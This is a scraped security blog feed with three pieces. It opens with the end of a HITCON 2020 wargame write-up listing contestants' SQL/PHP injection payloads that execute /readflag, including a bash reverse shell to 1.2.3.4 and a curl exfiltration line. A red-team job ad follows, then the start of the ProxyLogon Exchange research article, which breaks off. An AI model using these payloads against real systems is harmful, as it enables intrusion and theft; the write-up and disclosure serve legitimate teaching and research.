SQL: SELECT id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?> FROM mytable WHERE id = '1'
PHP: $output = $row->id/*!from mytable union select `/readflag`*/./*!id from mytable*/`/readflag`#?>;

同樣是利用 /*! */註解符號強行構造合法查詢,不過有趣的是,MySQL 支援 #單行的註解符號,此註解符號同樣也被 PHP 支援,所以不會導致 PHP 語法錯誤,最後還多了 ?>強行結束 PHP 程式區塊,冷知識是如果程式碼是 PHP 程式區塊內最後一行的話,不加 ;並不會導致語法錯誤唷 :P

by tree:

QueryString: column=null--+.$output=exec('/readflag')&id=

SQL: SELECT null-- .$output=exec('/readflag') FROM mytable WHERE id = '1'
PHP: $output = $row->null-- .$output=exec('/readflag');

也是用了 --把 PHP 程式碼的部分在 SQL 裡面遮蔽起來,利用了 null 關鍵字讓 SQL 查詢有回傳結果,但在 PHP 之中卻變成 $row->null對 $row 物件存取名為 null 的屬性,使得 PHP 也能合法執行,最後將指令執行結果覆蓋 $output 變數,讓題目幫助我們輸出結果。

by cebrusfs (https://www.facebook.com/menghuan.yu):

QueryString: column=NULL;%20--%20$b;var_dump(exec(%22/readflag%22))&id=1

SQL: SELECT column=NULL; -- $b;var_dump(exec("/readflag")) FROM mytable WHERE id = '1'
PHP: $output = $row->column=NULL; -- $b;var_dump(exec("/readflag"));

此解法也是類似的思路,運用 --閉合再湊出合法 PHP 程式碼,最後直接使用 var_dump 強制輸出 exec 的執行結果。

by Jason3e7 (https://github.com/jason3e7):

QueryString: column=NULL;-- $id %2b system('/readflag');%23&id=1

SQL: SELECT NULL;-- $id + system('/readflag');# FROM mytable WHERE id = '1'
PHP: $output = $row->NULL;-- $id + system('/readflag');#;

這也是相似的思路,有趣的是 -- $id這個部分,大家一定記得 $id --是遞減運算子,但有時可能會忘記 -- $id也同樣是遞減運算子,所以這個 --會使得 MySQL 認為是註解,PHP 卻仍認為是遞減運算子並正常執行下去。

by shoui:

QueryString: column=null-- -"1";"\$output = \$row->".system('/readflag').";";&id=1

SQL: SELECT null-- -"1";"\$output = \$row->".system('/readflag').";"; FROM mytable WHERE id = '1'
PHP: $output = $row->null-- -"1";"\$output = \$row->".system('/readflag').";";;

同樣運用註解 --閉合 SQL 但 PHP 又是遞減運算子的特性,而 system 又會將指令執行結果直接輸出,因此就能直接取得 flag。本人有補充說明當時測試時直接複製貼上原始碼那行接測試,後來使用 ?id=1&column=null-- -"1";"".system('/readflag').";"精簡後的 payload XD。

Double-quoted String Evaluation

PHP 會自動在由雙引號「”」包夾的字串中,尋找 $ 開頭的字詞,將其解析成變數再把值代入字串中,這個功能對於快速輸出已充分跳脫處理的變數值非常有幫助,可以增加程式碼可讀性;但同樣地,我們也可以利用這個功能做一下有趣的事情,例如這段 PHP 程式碼 $str = "${phpinfo()}";就可以直接執行 phpinfo 函式,利用 $str = "${system('id')}";就可以執行系統指令;而在 MySQL 中,雙引號「”」恰好也可以被用來表示純字串,所以我們就能構造出「MySQL 認為是純字串,PHP 卻認為需要解析執行」的 Payload。

讓我們先來看第一個例子:

by ginoah:

QueryString: column=id="${system('/readflag')}"&id=1

SQL: SELECT id="${system('/readflag')}" FROM mytable WHERE id = '1'
PHP: $output = $row->id="${system('/readflag')}";

對於 SQL 而言,就是回傳 id 與字串比較的結果;但對於 PHP 而言,上述結果是將雙引號字串解析完後才賦值給變數 $row->id,而結果就如同前面說的,它會執行系統指令 /readflag,還會將結果輸出至網頁,所以就能取得 flag!

by Billy (https://github.com/st424204):

QueryString: column=name%2b"{$_POST[1]($_POST[2])}"&id=1
POST: 1=system&2=/readflag

SQL: SELECT name+"{$_POST[1]($_POST[2])}" FROM mytable WHERE id = '1'
PHP: $output = $row->name+"{$_POST[1]($_POST[2])}";

同樣利用雙引號特性,但這個例子構造的較為複雜,利用了一些鬆軟特性,在 PHP 中,若字串變數是一個存在的函式的名稱,則我們可以利用 $func = 'system'; $func('id');這樣的方式來呼叫該變數,這個例子就是應用了這個特性,將我們從前端傳遞過去的 $_POST[1]當成函式名稱、$_POST[2]作為函式的參數執行,因此只要參數再帶上 1=system&2=readflag就能取得 flag!

by Hans (https://hans00.me)

QueryString: column=id||"{$_POST['fn']($_POST['cmd'])}"&id=1
POST: fn=system&cmd=/readflag

SQL: SELECT id||"{$_POST['fn']($_POST['cmd'])}" FROM mytable WHERE id = '1'
PHP: $output = $row->id||"{$_POST['fn']($_POST['cmd'])}";

這個例子與前一個利用了同樣的特性,差別在與此處的 Payload 改用 OR 邏輯運算子 ||,而前面使用的是加法算術運算子 +,但結果都是相同的。

by Chris Lin (https://github.com/kulisu)

QueryString: column=TRUE/"${system(%27/readflag%27)}";%23&id=1

SQL: SELECT TRUE/"${system('/readflag')}";# FROM mytable WHERE id = '1'
PHP: $output = $row->TRUE/"${system('/readflag')}";#;

這也是用相同概念,前面改用除法算術運算子 /。看完解法才發現投稿者是同事!

Execution Operator

在 PHP 中存在眾多函式可以執行系統指令,其中還包括一個特殊的 Execution Operator,此運算子的形式是利用反引號「`」將字串包夾起來,這樣該字串就會被當作系統指令執行,其內部實際是執行 shell_exec,更貼心的事情是,這個運算子同樣支援 Double-quoted String Evaluation,所以若是 $cmd = 'id'; echo `$cmd`;這樣的形式,PHP 就會先解析 $cmd 得出 id,再執行 id 系統指令;而在 MySQL 之中,反引號是用來表示一個 identifier,identifier 用來指示一個物件,最常見的是資料表或是資料欄,當我們執行 SELECT c FROM t,其中 c 和 t 就是 identifier,所以若想靠 Execution Operator 來執行指令,可能還必須同時讓 identifier 能夠被 MySQL 識別才行。

by dalun (https://www.nisra.net):

QueryString: column=id=`$_POST[1]`%23?>&id=%0a+from+(select+'id','$_POST[1]')+as+a+--+
POST: 1=/readflag

SQL: SELECT id=`$_POST[1]`#?> FROM mytable WHERE id = '
     from (select 'id','$_POST[1]') as a -- '
PHP: $output = $row->id=`$_POST[1]`#?>;

這個解法似乎是唯一願意使用 id 參數的 XD!在 column 參數用註解符號 #閉合後續,在 id 參數插入換行符號並構造一個合法的 SQL,透過子查詢製造合法的 identifier,最後由 PHP 透過 execution operator 執行系統指令。

by HexRabbit (https://twitter.com/h3xr4bb1t):

QueryString: column=name+or+@`bash+-c+"bash+-i+>%26+/dev/tcp/1.2.3.4/80+0>%261"`&id=1

SQL: SELECT name or @`bash -c "bash -i >& /dev/tcp/1.2.3.4/80 0>&1"` FROM mytable WHERE id = '1'
PHP: $output = $row->name or @`bash -c "bash -i >& /dev/tcp/1.2.3.4/80 0>&1"`;

這個解法核心也是透過 execution oeperator 執行指令,不過用了一個特殊的字元 @。在 MySQL 中,這代表 user-defined variables,後面的字串則為變數的名稱,而且名稱可以使用特殊字元,只要使用 identifier 的符號 `把字串包夾起來即可,而存取不存在的變數並不會導致錯誤,MySQL 只會回傳 NULL 的結果。在 PHP 中的話,@代表 error control operator,可以放置在表達式前,會讓 PHP 將此表達式執行產生的錯誤訊息全部忽略,由於是表達式,所以也能附加在 execution operator 之前。最後這個解法再用 or邏輯運算子(MySQL 與 PHP 皆支援並且意義相同)串接即可達成執行系統指令。

by cjiso1117 (https://twitter.com/cjiso)

QueryString: column=$a%2b`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;%23&id=qwe

SQL: SELECT $a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;# FROM mytable WHERE id = 'qwe'
PHP: $output = $row->$a+`curl 127.0.0.1/$(/readflag)`/*!from (select "asd" as "$a", "qwe" as "curl 127.0.0.1/$(/readflag)" ) as e*/;#;

同樣是利用 /*! */製造出 PHP 看不見、MySQL 看得見的註解文字來控制資料庫查詢結果,最後利用 execution operator 來達成執行系統指令,但由於 `內的文字會被 MySQL 認為是 identifier,找不到對應資源會導致錯誤,所以透過子查詢和 alias 語法強行製造出 identifier 讓查詢正確執行。本人表示一開始覺得用 /*! */會很帥,結果走偏繞了一大圈

by shik (https://github.com/ShikChen/)

QueryString: column=id%2b"${print_r(`/readflag`)}"&id=1

SQL: SELECT id+"${print_r(`/readflag`)}" FROM mytable WHERE id = '1'
PHP: $output = $row->id+"${print_r(`/readflag`)}";

這個解法利用加法運算子組合 id identifier 和雙引號字串,接著在雙引號字串利用 evaluation 特性執行 PHP 程式碼,透過 execution operator 執行系統指令後再以 print_r 強制輸出結果,取得 flag。

匿名:

QueryString: id=1&column=id%2b"${`yes`}"

SQL: SELECT id+"${`yes`}" FROM mytable WHERE id = '1'
PHP: $output = $row->id+"${`yes`}";

另外還收到一個匿名提交的解法,思路與前面相同,總之就也附上來了~。

結語

以上就是我們這次為 HITCON 2020 準備的 Wargame 的其中一道開放式題目的分享和大家的解法介紹,不知道各位喜不喜歡呢?喜歡的話記得訂閱、按讚、分享以及開啟小鈴鐺唷!

題外話,這次我們總共有 5 道 100 分題目,是領取小獎品的基本條件,但我們還準備了 3 道僅有 1 分的 bonus 題目,類型是 2 個 web 與 1 個唯一的 pwn,讓大家能進一步挑戰進階實戰能力,而這次有解開至少一道 bonus 題的為以下兩位參加者:

  • 11/14 Balsn CTF 2020 總獎金十萬元: 502 分
  • FI: 501

友情工商:由台灣知名 CTF 戰隊之一的 Balsn 舉辦的 Balsn CTF 2020 將在 11/14 舉辦,他們準備了豐富的比賽獎金與充滿創意、技術性的題目,想證明實力的朋友們可不要錯過了!

Balsn Twitter: https://twitter.com/balsnctf/status/1316925652700889090
Balsn CTF 2020 on CTFtime: https://ctftime.org/event/1122/

另外的另外,最後讓我們恭喜 yuawn (https://twitter.com/_yuawn)以 1 分之姿榮獲 DEVCORE Wargame 最後 1 名!全場排行榜上唯一得分不超過 100 的參加者,同時他也取得了 pwn 題目的首殺兼唯一解,恭喜他 👏👏。

最後附上今年的前十名,就讓我們 2021 年再見囉~

PlaceTeamScore
111/14 Balsn CTF 2020 總獎金十萬元502
2FI501
3mico500
4ankleboy500
5hans00500
6Meow500
7ginoah500
8cjiso1117500
9zodiuss500
10dalun500

DEVCORE 徵求紅隊演練工程師

$
0
0

戴夫寇爾已成立近九年,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

隨著公司規模擴大,我們首度公開招募紅隊演練人才,希望能夠找到一至兩位 Support 紅隊演練工程師,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

在滲透測試、紅隊演練專案中擔任重要的後勤工作。這會是最清楚全局戰況的角色,需要觀察、記錄整體戰況,細心且耐心地整理繁雜的戰局資訊,並且樂於與作戰夥伴溝通現有戰況。檢測結束後需要將完整的戰況資訊和檢測過程中發現的弱點彙整成報告和簡報,讓客戶清楚理解弱點技術細節與成因,且可依據技術細節重現已發現的弱點,最後協助檢測客戶的修補狀況。

  • 協助作戰 40%
    • 整合作戰資料,關聯戰場資訊協助隊友找到突破點
    • 追蹤掌握戰況進度
    • 專案中與客戶協調雙方需求
  • 會議 10%
    • 參與專案相關啟動、結案會議
    • 成果簡報
  • 撰寫與製作報告文件 40%
    • 製作報告書、簡報、日誌
  • 檢測 (初測、複測) 10%
    • 檢測弱點修補
    • 複測時程安排與協調

工作時間

10:00 - 18:00 (中間休息 1 小時 13:00 - 14:00)

工作地點

台北市中山區復興北路 168 號 10 樓
近期會搬遷至台北田徑場附近(捷運台北小巨蛋站)

工作條件要求

  • 熟悉 OWASP Web Top 10。
  • 熟悉 Microsoft Word 或 Mac Pages。
  • 熟悉 Microsoft Powerpoint 或 Mac Keynote。
  • 熟悉 BurpSuite 或其他 HTTP 封包修改攔截工具。
  • 具有程式 Debug 能力,能重現並收斂問題。
  • 熟悉網頁程式語言(如 PHP、ASPX、JSP),曾建立自己或別人常用的網頁服務。
  • 熟悉 Scripting 語言(如 ShellScript、Python、Ruby),使用腳本輔以工作,亦能理解專案所用的相關腳本。
  • 熟悉 Command Line 操作輔以工作,包含執行 Unix-like 和 Windows 的系統指令、工具等,亦能理解專案所用的相關指令。
  • 熟悉 curl、netcat、nmap、Dirb 等安全測試相關工具。
  • 有信心到職一年內拿到 Offensive Security Certified Professional (OSCP) 證照或擁有等值能力。

人格特質偏好

  • 優秀的文字組織能力與邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達內容給客戶或內部團隊。
  • 擁有強大的學習能力,對於任何不懂的技術細節都能主動詢問同事,想辦法理解並內化成自己的知識。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 在各種工作細節中,找到最佳化流程的方式,幫助團隊更有效率的運作。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

加分條件

  • 曾經有撰寫過相關紅隊演練、滲透測試中、英文報告等經驗。
  • 已考過 Offensive Security Certified Professional (OSCP) 證照。
  • 曾經挖掘常見漏洞(如 XSS、SQL Injection、Broken Access Control)。
  • 曾經寫過相關 CTF、Wargame 或弱點回報等類型的 Writeup。
  • 有撰寫技術類型等文章部落格經驗。
  • 具有專案管理規劃的能力。
  • 中文盲打具備 TQC 專業級水準。

工作環境

新辦公室裝潢中,可參考之前的徵才文,未來辦公室會優於過去。

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
    • 團體保險
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

起薪範圍

新台幣 60,000 - 80,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 recruiting@devco.re
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。
若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 紅隊演練工程師 您的姓名(範例:[應徵] 紅隊演練工程師 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。第二階段的線上測驗最快將於七月底進行,煩請耐心等候;第三階段面試視疫情狀況可能會採線上面試。
若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。我們感謝您的來信,期待您的加入!


A New Attack Surface on MS Exchange Part 1 - ProxyLogon!

$
0
0

The series of A New Attack Surface on MS Exchange:

Microsoft Exchange, as one of the most common email solutions in the world, has become part of the daily operation and security connection for governments and enterprises. This January, we reported a series of vulnerabilities of Exchange Server to Microsoft and named it as ProxyLogon. ProxyLogon might be the most severe and impactful vulnerability in the Exchange history ever. If you were paying attention to the industry news, you must have heard it.

While looking into ProxyLogon from the architectural level, we found it is not just a vulnerability, but an attack surface that is totally new and no one has ever mentioned before. This attack surface could lead the hackers or security researchers to more vulnerabilities. Therefore, we decided to focus on this attack surface and eventually found at least 8 vulnerabilities. These vulnerabilities cover from server side, client side, and even crypto bugs. We chained these vulnerabilities into 3 attacks:

  1. ProxyLogon: The most well-known and impactful Exchange exploit chain
  2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
  3. ProxyShell: The exploit chain we demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty

I would like to highlight that all vulnerabilities we unveiled here are logic bugs, which means they could be reproduced and exploited more easily than any memory corruption bugs. We have presented our research at Black Hat USA and DEFCON, and won the Best Server-Side bug of Pwnie Awards 2021. You can check our presentation materials here:

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides][Video]

By understanding the basics of this new attack surface, you won’t be surprised why we can pop out 0days easily!

Intro

I would like to state that all the vulnerabilities mentioned have been reported via the responsible vulnerability disclosure process and patched by Microsoft. You could find more detail of the CVEs and the report timeline from the following table.

Report TimeNameCVEPatch TimeCAS[1]Reported By
Jan 05, 2021ProxyLogonCVE-2021-26855Mar 02, 2021YesOrange Tsai, Volexity and MSTIC
Jan 05, 2021ProxyLogonCVE-2021-27065Mar 02, 2021-Orange Tsai, Volexity and MSTIC
Jan 17, 2021ProxyOracleCVE-2021-31196Jul 13, 2021YesOrange Tsai
Jan 17, 2021ProxyOracleCVE-2021-31195May 11, 2021-Orange Tsai
Apr 02, 2021ProxyShell[2]CVE-2021-34473Apr 13, 2021YesOrange Tsai working with ZDI
Apr 02, 2021ProxyShell[2]CVE-2021-34523Apr 13, 2021YesOrange Tsai working with ZDI
Apr 02, 2021ProxyShell[2]CVE-2021-31207May 11, 2021-Orange Tsai working with ZDI
Jun 02, 2021---YesOrange Tsai
Jun 02, 2021-CVE-2021-33768Jul 13, 2021-Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

Why did Exchange Server become a hot topic? From my point of view, the whole ProxyLogon attack surface is actually located at an early stage of Exchange request processing. For instance, if the entrance of Exchange is 0, and 100 is the core business logic, ProxyLogon is somewhere around 10. Again, since the vulnerability is located at the beginning place, I believe anyone who has reviewed the security of Exchange carefully would spot the attack surface. This was also why I tweeted my worry about bug collision after reporting to Microsoft. The vulnerability was so impactful, yet it’s a simple one and located at such an early stage.

You all know what happened next, Volexity found that an APT group was leveraging the same SSRF (CVE-2021-26855) to access users’ emails in early January 2021 and reported to Microsoft. Microsoft also released the urgent patches in March. From the public information released afterwards, we found that even though they used the same SSRF, the APT group was exploiting it in a very different way from us. We completed the ProxyLogon attack chain through CVE-2021-27065, while the APT group used EWS and two unknown vulnerabilities in their attack. This has convinced us that there is a bug collision on the SSRF vulnerability.


Image from Microsoft Blog

Regarding the ProxyLogon PoC we reported to MSRC appeared in the wild in late February, we were as curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation. With a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft. Maybe you would be interested in learning some interesting stories from here.

Why targeting on Exchange Server?

Mail server is a highly valuable asset that holds the most confidential secrets and corporate data. In other words, controlling a mail server means controlling the lifeline of a company. As the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.

Normally, I will review the existing papers and bugs before starting a research. Among the whole Exchange history, is there any interesting case? Of course. Although most vulnerabilities are based on known attack vectors, such as the deserialization or bad input validation, there are still several bugs that are worth mentioning.

The most special

The most special one is the arsenal from Equation Group in 2017. It’s the only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003. If the arsenal leak happened earlier, it could end up with another nuclear-level crisis.

The most interesting

The most interesting one is CVE-2018-8581 disclosed by someone who cooperated with ZDI. Though it was simply an SSRF, with the feature, it could be combined with NTLM Relay, the attacker could turn a boring SSRF into something really fancy. For instance, it could directly control the whole Domain Controller through a low privilege account.

The most surprising

The most surprising one is CVE-2020-0688, which was also disclosed by someone working with ZDI. The root cause of this bug is due to a hard-coded cryptographic key in Microsoft Exchange. With this hard-coded key, an attacker with low privilege can take over the whole Exchange Server. And as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.

Where is the new attack surface

Exchange is a very sophisticated application. Since 2000, Exchange has released a new version every 3 years. Whenever Exchange releases a new version, the architecture changes a lot and becomes different. The changes of architecture and iterations make it difficult to upgrade an Exchange Server. In order to ensure the compatibility between the new architecture and old ones, several design debts were incurred to Exchange Server and led to the new attack surface we found.

Where did we focus at Microsoft Exchange? We focused on the Client Access Service, CAS. CAS is a fundamental component of Exchange. Back to the version 2000/2003, CAS was an independent Frontend Server in charge of all the Frontend web rendering logics. After several renaming, integrating, and version differences, CAS has been downgraded to a service under the Mailbox Role. The official documentation from Microsoft indicates that:

Mailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server

From the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared.

The CAS architecture

CAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it’s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding Backend Service. As a Web Security researcher, I focused on the Web implementation of CAS.

The CAS web is built on Microsoft IIS. As you can see, there are two websites inside the IIS. The “Default Website” is the Frontend we mentioned before, and the “Exchange Backend” is where the business logic is. After looking into the configuration carefully, we notice that the Frontend is binding with ports 80 and 443, and the Backend is listening on ports 81 and 444. All the ports are binding with 0.0.0.0, which means anyone could access the Frontend and Backend of Exchange directly. Wouldn’t it be dangerous? Please keep this question in mind and we will answer that later.

Exchange implements the logic of Frontend and Backend via IIS module. There are several modules in Frontend and Backend to complete different tasks, such as the filter, validation, and logging. The Frontend must contain a Proxy Module. The Proxy Module picks up the HTTP request from the client side and adds some internal settings, then forwards the request to the Backend. As for the Backend, all the applications include the Rehydration Module, which is in charge of parsing Frontend requests, populating the client information back, and continuing to process the business logic. Later we will be elaborating how Proxy Module and Rehydration Module work.

Frontend Proxy Module

Proxy Module chooses a handler based on the current ApplicationPath to process the HTTP request from the client side. For instance, visiting /EWS will use EwsProxyRequestHandler, as for /OWA will trigger OwaProxyRequestHandler. All the handlers in Exchange inherit the class from ProxyRequestHandler and implement its core logic, such as how to deal with the HTTP request from the user, which URL from Backend to proxy to, and how to synchronize the information with the Backend. The class is also the most centric part of the whole Proxy Module, we will separate ProxyRequestHandler into 3 sections:

Frontend Reqeust Section

The Request section will parse the HTTP request from the client and determine which cookie and header could be proxied to the Backend. Frontend and Backend relied on HTTP Headers to synchronize information and proxy internal status. Therefore, Exchange has defined a blacklist to avoid some internal Headers being misused.

HttpProxy\ProxyRequestHandler.cs

protectedvirtualboolShouldCopyHeaderToServerRequest(stringheaderName){return!string.Equals(headerName,"X-CommonAccessToken",OrdinalIgnoreCase)&&!string.Equals(headerName,"X-IsFromCafe",OrdinalIgnoreCase)&&!string.Equals(headerName,"X-SourceCafeServer",OrdinalIgnoreCase)&&!string.Equals(headerName,"msExchProxyUri",OrdinalIgnoreCase)&&!string.Equals(headerName,"X-MSExchangeActivityCtx",OrdinalIgnoreCase)&&!string.Equals(headerName,"return-client-request-id",OrdinalIgnoreCase)&&!string.Equals(headerName,"X-Forwarded-For",OrdinalIgnoreCase)&&(!headerName.StartsWith("X-Backend-Diag-",OrdinalIgnoreCase)||this.ClientRequest.GetHttpRequestBase().IsProbeRequest());}

In the last stage of Request, Proxy Module will call the method AddProtocolSpecificHeadersToServerRequest implemented by the handler to add the information to be communicated with the Backend in the HTTP header. This section will also serialize the information from the current login user and put it in a new HTTP header X-CommonAccessToken, which will be forwarded to the Backend later.

For instance, If I log into Outlook Web Access (OWA) with the name Orange, the X-CommonAccessToken that Frontend proxy to Backend will be:

Frontend Proxy Section

The Proxy Section first uses the GetTargetBackendServerURL method to calculate which Backend URL should the HTTP request be forwarded to. Then initialize a new HTTP Client request with the method CreateServerRequest.

HttpProxy\ProxyRequestHandler.cs

protectedHttpWebRequestCreateServerRequest(UritargetUrl){HttpWebRequesthttpWebRequest=(HttpWebRequest)WebRequest.Create(targetUrl);if(!HttpProxySettings.UseDefaultWebProxy.Value){httpWebRequest.Proxy=NullWebProxy.Instance;}httpWebRequest.ServicePoint.ConnectionLimit=HttpProxySettings.ServicePointConnectionLimit.Value;httpWebRequest.Method=this.ClientRequest.HttpMethod;httpWebRequest.Headers["X-FE-ClientIP"]=ClientEndpointResolver.GetClientIP(SharedHttpContextWrapper.GetWrapper(this.HttpContext));httpWebRequest.Headers["X-Forwarded-For"]=ClientEndpointResolver.GetClientProxyChainIPs(SharedHttpContextWrapper.GetWrapper(this.HttpContext));httpWebRequest.Headers["X-Forwarded-Port"]=ClientEndpointResolver.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));httpWebRequest.Headers["X-MS-EdgeIP"]=Utilities.GetEdgeServerIpAsProxyHeader(SharedHttpContextWrapper.GetWrapper(this.HttpContext).Request);// ...returnhttpWebRequest;}

Exchange will also generate a Kerberos ticket via the HTTP Service-Class of the Backend and put it in the Authorization header. This header is designed to prevent anonymous users from accessing the Backend directly. With the Kerberos Ticket, the Backend could validate the access from the Frontend.

HttpProxy\ProxyRequestHandler.cs

if(this.ProxyKerberosAuthentication){serverRequest.ConnectionGroupName=this.ClientRequest.UserHostAddress+":"+GccUtils.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));}elseif(this.AuthBehavior.AuthState==AuthState.BackEndFullAuth||this.ShouldBackendRequestBeAnonymous()||(HttpProxySettings.TestBackEndSupportEnabled.Value&&!string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))){serverRequest.ConnectionGroupName="Unauthenticated";}else{serverRequest.Headers["Authorization"]=KerberosUtilities.GenerateKerberosAuthHeader(serverRequest.Address.Host,this.TraceContext,refthis.authenticationContext,refthis.kerberosChallenge);}

HttpProxy\KerberosUtilities.cs

internalstaticstringGenerateKerberosAuthHeader(stringhost,inttraceContext,refAuthenticationContextauthenticationContext,refstringkerberosChallenge){byte[]array=null;byte[]bytes=null;// ...authenticationContext=newAuthenticationContext();stringtext="HTTP/"+host;authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos,text,null,null);SecurityStatussecurityStatus=authenticationContext.NegotiateSecurityContext(inputBuffer,outbytes);// ...string@string=Encoding.ASCII.GetString(bytes);return"Negotiate "+@string;}

Therefore, a Client request proxied to the Backend will be added with several HTTP Headers for internal use. The two most essential Headers are X-CommonAccessToken, which indicates the mail users’ log in identity, and Kerberos Ticket, which represents legal access from the Frontend.

Frontend Response Section

The last is the section of Response. It receives the response from the Backend and decides which headers or cookies are allowed to be sent back to the Frontend.

Backend Rehydration Module

Now let’s move on and check how the Backend processes the request from the Frontend. The Backend first uses the method IsAuthenticated to check whether the incoming request is authenticated. Then the Backend will verify whether the request is equipped with an extended right called ms-Exch-EPI-Token-Serialization. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.

After passing the check, Exchange will restore the login identity used in the Frontend, through deserializing the header X-CommonAccessToken back to the original Access Token, and then put it in the httpContext object to progress to the business logic in the Backend.

Authentication\BackendRehydrationModule.cs

privatevoidOnAuthenticateRequest(objectsource,EventArgsargs){if(httpContext.Request.IsAuthenticated){this.ProcessRequest(httpContext);}}privatevoidProcessRequest(HttpContexthttpContext){CommonAccessTokentoken;if(this.TryGetCommonAccessToken(httpContext,outtoken)){// ...}}privateboolTryGetCommonAccessToken(HttpContexthttpContext,outCommonAccessTokentoken){stringtext=httpContext.Request.Headers["X-CommonAccessToken"];if(string.IsNullOrEmpty(text)){returnfalse;}boolflag;try{flag=this.IsTokenSerializationAllowed(httpContext.User.IdentityasWindowsIdentity);}finally{httpContext.Items["BEValidateCATRightsLatency"]=stopwatch.ElapsedMilliseconds-elapsedMilliseconds;}token=CommonAccessToken.Deserialize(text);httpContext.Items["Item-CommonAccessToken"]=token;//...}privateboolIsTokenSerializationAllowed(WindowsIdentitywindowsIdentity){flag2=LocalServer.AllowsTokenSerializationBy(clientSecurityContext);returnflag2;}privatestaticboolAllowsTokenSerializationBy(ClientSecurityContextclientContext){returnLocalServer.HasExtendedRightOnServer(clientContext,WellKnownGuid.TokenSerializationRightGuid);// ms-Exch-EPI-Token-Serialization}

The attack surface

After a brief introduction to the architecture of CAS, we now realize that CAS is just a well-written HTTP Proxy (or Client), and we know that implementing Proxy isn’t easy. So I was wondering:

Could I use a single HTTP request to access different contexts in Frontend and Backend respectively to cause some confusion?

If we could do that, maaaaaybe I could bypass some Frontend restrictions to access arbitrary Backends and abuse some internal API. Or, we can confuse the context to leverage the inconsistency of the definition of dangerous HTTP headers between the Frontend and Backend to do further interesting attacks.

With these thoughts in mind, let’s start hunting!

The ProxyLogon

The first exploit is the ProxyLogon. As introduced before, this may be the most severe vulnerability in the Exchange history ever. ProxyLogon is chained with 2 bugs:

CVE-2021-26855 - Pre-auth SSRF

There are more than 20 handlers corresponding to different application paths in the Frontend. While reviewing the implementations, we found the method GetTargetBackEndServerUrl, which is responsible for calculating the Backend URL in the static resource handler, assigns the Backend target by cookies directly.

Now you figure out how simple this vulnerability is after learning the architecture!

HttpProxy\ProxyRequestHandler.cs

